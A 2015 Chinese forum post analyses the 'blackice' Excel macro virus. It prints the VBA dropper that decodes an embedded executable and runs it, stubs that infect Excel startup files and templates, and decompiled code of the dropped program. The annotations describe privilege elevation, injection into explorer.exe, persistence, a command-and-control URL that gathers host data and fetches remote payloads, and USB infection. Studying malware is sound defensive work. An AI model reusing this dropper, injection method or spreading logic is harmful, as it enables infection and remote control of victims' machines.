本帖最后由 HundredBai 于 2015-8-13 19:54 编辑
最近遇到了不少Office的宏病毒,k4,blackice等,似乎宏病毒又换发了新的春天。
k4宏病毒想法比较单纯,似乎也没干什么实质性的坏事,仅仅是繁殖能力强了一些,而且代码也只是VB宏,没什么好说的。
blackice也已经流行了几年了,度娘上也有对其简单的分析,但似乎进行深入的分析过,只有其表象的行为。
所以在这里进行一次较详细一些的分析,有误之处请指正,各位大神轻虐。。。
blackice实际上只是利用了Office宏进行感染及传播,真正内容都在其释放出来的PE文件blackice.exe上。
先来看看它的宏内容:
这个dump文件的方式,使一个没有多少内容的Excel文档大小达到了惊人的2.92M
[Visual Basic] 纯文本查看 复制代码 DimstrTempPath As String * 260
Dim strTempFileName As String * 260
Dim ret, hFile, NumberofBytesWritten As Long
Dim W1, W2, W3, W4 As Integer
Dim n As Long
Dim buffer As Byte
ret = GetTempPath(260, strTempPath)
ret = GetTempFileName(Left(strTempPath, ret), "bk_", 0,strTempFileName) '随机产生一个bk_开头的.tmp文件
hFile = CreateFile(strTempFileName, &H40000000, 0, 0, 2, 0, 0)
If hFile = -1 Then
Exit Sub
End If
For n = 1 To Len(filestring) Step 4 '用上边那个惊人的字符串解密出一个PE文件的内容
If Len(Mid(filestring, n, 1)) = 0 Then
W1 = -1
Else
W1 = InStr(base64, Mid(filestring, n, 1)) - 1
End If
If Len(Mid(filestring, n + 1, 1)) = 0 Then
W2 = -1
Else
W2 = InStr(base64, Mid(filestring, n + 1, 1)) - 1
End If
If Len(Mid(filestring, n + 2, 1)) = 0 Then
W3 = -1
Else
W3 = InStr(base64, Mid(filestring, n + 2, 1)) - 1
End If
If Len(Mid(filestring, n + 3, 1)) = 0 Then
W4 = -1
Else
W4 = InStr(base64, Mid(filestring, n + 3, 1)) - 1
End If
If W2 >= 0 Then
buffer = ((W1 * 4 + Int(W2 / 16)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W3 >= 0 Then
buffer = ((W2 * 16 + Int(W3 / 4)) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0)
End If
If W4 >= 0 Then
buffer = ((W3 * 64 + W4) And 255)
ret = WriteFile(hFile, buffer, 1, NumberofBytesWritten, 0) '写PE文件
End If
Next
CloseHandle (hFile)
Shell strTempFileName '开始执行了
[Visual Basic] 纯文本查看 复制代码
Private Subinfectxlstart()
... ...
tmpbook.SaveAs (Application.StartupPath + "\book1.xls") '感染xlstart路径
... ...
End Sub
[Visual Basic] 纯文本查看 复制代码
Private Subinfecttemplate()
... ...
ret = tmpbook.SaveAs(Application.StartupPath + "\book.xlt",xlTemplate) '感染宏模板
... ...
End Sub
到这里,宏的使命就已经完成了。
剩下的就交给了释放出来的PE文件bk_*.tmp了。
这是个加壳PE文件,打开OD,开始 脱壳。
脱壳过程可以参照
http://www.52pojie.cn/thread-49406-1-1.html
脱壳后用 IDA打开,代码写的非常清晰,清晰到不需要太多调试,只用IDA的F5功能就能从容阅读代码:
[Asm] 纯文本查看 复制代码 int__stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTRlpCmdLine, int nShowCmd)
{
int result; // eax@2
LPVOID lpParameter; // [sp+4h] [bp-ACh]@12
HANDLE hObject; // [sp+8h] [bp-A8h]@14
struct _OSVERSIONINFOA VersionInformation; // [sp+10h] [bp-A0h]@3
HANDLE hHandle; // [sp+ACh] [bp-4h]@16
CreateMutexA(0, 0, "blackicemutex"); // 创建进程互斥
if ( GetLastError() == 183 )
{
result = -1;
}
else
{
memset(&VersionInformation, 0, 0x9Cu);
VersionInformation.dwOSVersionInfoSize = 156;
if ( GetVersionExA(&VersionInformation) // 获取版本
|| (VersionInformation.dwOSVersionInfoSize = 148,GetVersionExA(&VersionInformation)) )
{
if ( VersionInformation.dwPlatformId == 2 )
{
if ( GetSystemDirectoryA(Buffer, 0x104u))// 获取系统目录路径
{
sub_404ED1(byte_413910, byte_413510,name);// 获取mac地址,hostname,磁盘等信息
strcpy(NewFileName, Buffer);
strcat(NewFileName,"\\blackice.exe");
strcpy(FileName, Buffer);
strcat(FileName,"\\kernel.dll");
if ( GetModuleFileNameA(0, Filename,0x104u) )// 获取当前进程加载模块的路径
{
sub_404E4F(); // 使当前进程拥有SeDebug权限
sub_404C78(NewFileName,FileName); // 将当前模块加载文件(bk_*.tmp)复制到系统目录下,
// 命名为blackice.exe,且修改其创建时间及属性(hidden|readonly|system)
// 将当前模块加载文件(bk_*.tmp)复制到系统目录下,
// 命名为kernel.dll,且修改其创建时间及属性(hidden|readonly|system)
lpParameter =sub_40434A(NewFileName, FileName);// 对explorer.exe进行注入
if ( lpParameter )
{
hObject =CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_404A37, lpParameter, 0, 0);// 线程1 开机启动设置
if ( hObject )
{
hHandle =CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403D59, 0, 0, 0);// 线程2 网络操作,疑似后门下载
if ( hHandle)
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403105, 0, 0, 0);// 线程3 修改Office安全级别
// 为了防止之前宏所感染的xlstart目录下book1.xls及模板文件book.xlt文件被删除,重写这两个文件。
//感染word启动文件及宏模板。
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_40495F, hInstance, 0, 0);// 检测U盘并感染其中的Office及.exe结尾的PE文件
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_403737, 0, 0,0);// 感染h盘的Office及.exe结尾的PE文件
WaitForSingleObject(hObject, 0xFFFFFFFF);
WaitForSingleObject(hHandle, 0xFFFFFFFF);
result = 0;
}
//下边是一堆相对if的else,关闭句柄,return -1,总之每个分支都做了处理,很专业。
}
return result;
}
从上边代码看出,实际该进程完成下述功能:
1. 提权并将blackice复制到系统目录下而后进行隐藏
2. 注入了explorer.exe进程
3. 设置blackice的开机启动
4. 连接网络
5. 再次感染本地Office文件及宏模板
6. 检测U盘并感染其中文件
7. 感染h盘文件
第1步我们通过静态就可以完成分析,但第2步似乎只能通过OD进行调试了,
进入函数40434A并单步跟下去,
函数通过遍历当前进程PID,通过对比进程名,获取Explorer.exe的PID。
我机器上的Explorer.exe的PID是0xC4。
接下来就是进程注入一种很标准的写法了
VirtualAllocEX-> WriteProcessMemory -> CreateRemoteThread
CreateRemoteThread需要的参数及startAddress的地址都是通过VirtualAllocEX 申请WriteProcessMemory 写入的。 此次申请内存位置为00DA0000
之后通过GetProcAddress获取到注入线程中需要用到的函数地址,这部分内容及之前准备的数据内容组成了注入线程的参数。
此次申请内存位置为00DB0000
其实按照正常调试方法,这个时候打开OD,附加到Explorer.exe上,在00DA0000下断点,继续调试注入线程中的内容,可是这次注入是坑爹的Explorer.exe,只要跟系统进程相关的操作,都特别不好操作。
00DA0000这个地址根本就看不到,也不允许下断点。
所以只能取巧了。
打开notepad.exe notepad.exe的PID为348
OD重新加载病毒样本,断在通过PID获取Explorer.exe的handle位置 将eax值修改为notepad.exe的PID348
运行至CreateRemoteThread 线程执行代码地址为00AC0000,参数地址为00B50000
再打开一个OD,附加到notepad进程,并在00AC0000处下断点 bk_*.tmp进程F8单步执行过CreateRemoteThread,
notepad进程F9执行,发现断在了00AC0000处 于是,下边就可以对线程注入进行调试了。
注入内容为查找系统目录下是否存在blackice.exe,如果不存在,则复制一份过去。之后通过WinExec执行系统目录下的blackice.exe。
由于blackice.exe是由Explorer.exe启的,因此,无法通过任务管理器结束任务。
第3步通过修改system.ini实现开机启动。
第4步,下载网络文件 将http://fmtwld.zj.com/blackice/url.txt下载到本地系统目录下,并命名为blackice.ini
从blackice.ini中读取control项的url,并同之前获取到的mac,hostname,版本信息等一同组建一个完整的URL,发送到服务器
由于目前http://fmtwld.zj.com/blackice/url.txt无法获取,因此下列分析都为猜测 获取到URL的返回串后,根据返回串判断当前是否下载了攻击者部署在远程服务器中的恶意文件,如果没有下载,则将其下载下来并执行。猜测恶意文件可能为远控
第5、6、7步均为感染及扩散,这里不再做详细分析。
|